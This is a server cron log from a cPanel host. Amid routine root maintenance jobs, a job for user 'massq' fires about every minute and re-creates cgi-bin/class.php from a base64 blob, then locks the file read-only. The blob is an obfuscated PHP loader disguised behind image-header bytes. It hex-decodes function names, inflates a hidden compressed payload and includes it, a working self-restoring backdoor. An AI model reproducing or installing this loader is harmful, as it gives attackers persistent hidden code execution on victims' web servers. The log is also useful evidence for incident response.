Sep  7 09:32:01 server CROND[31627]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:32:01 server CROND[31628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:32:01 server CROND[31629]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:33:01 server CROND[32014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:33:01 server CROND[32015]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:33:01 server CROND[32016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:34:01 server CROND[32394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:34:01 server CROND[32395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:34:01 server CROND[32396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:35:01 server CROND[420]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 09:35:01 server CROND[422]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 09:35:01 server CROND[421]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 09:35:01 server CROND[423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:35:01 server CROND[426]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 09:35:01 server CROND[424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:35:01 server CROND[429]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 09:35:01 server CROND[425]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:35:01 server CROND[428]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 09:36:01 server CROND[1455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:36:01 server CROND[1456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:36:01 server CROND[1457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:37:01 server CROND[1879]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:37:01 server CROND[1880]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:37:01 server CROND[1882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:38:01 server CROND[2297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:38:01 server CROND[2299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:38:01 server CROND[2300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:39:01 server CROND[2672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:39:01 server CROND[2673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:39:01 server CROND[2688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:39:01 server CROND[2697]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 09:40:01 server CROND[3168]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 09:40:01 server CROND[3169]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 09:40:01 server CROND[3175]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 09:40:01 server CROND[3177]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 09:40:01 server CROND[3176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:40:01 server CROND[3178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:40:01 server CROND[3179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:40:01 server CROND[3180]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 09:41:01 server CROND[3993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:41:01 server CROND[3994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:41:01 server CROND[3995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:42:01 server CROND[4364]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 09:42:01 server CROND[4365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:42:01 server CROND[4367]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:42:01 server CROND[4366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:43:01 server CROND[4753]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:43:01 server CROND[4755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:43:01 server CROND[4754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:44:01 server CROND[5201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
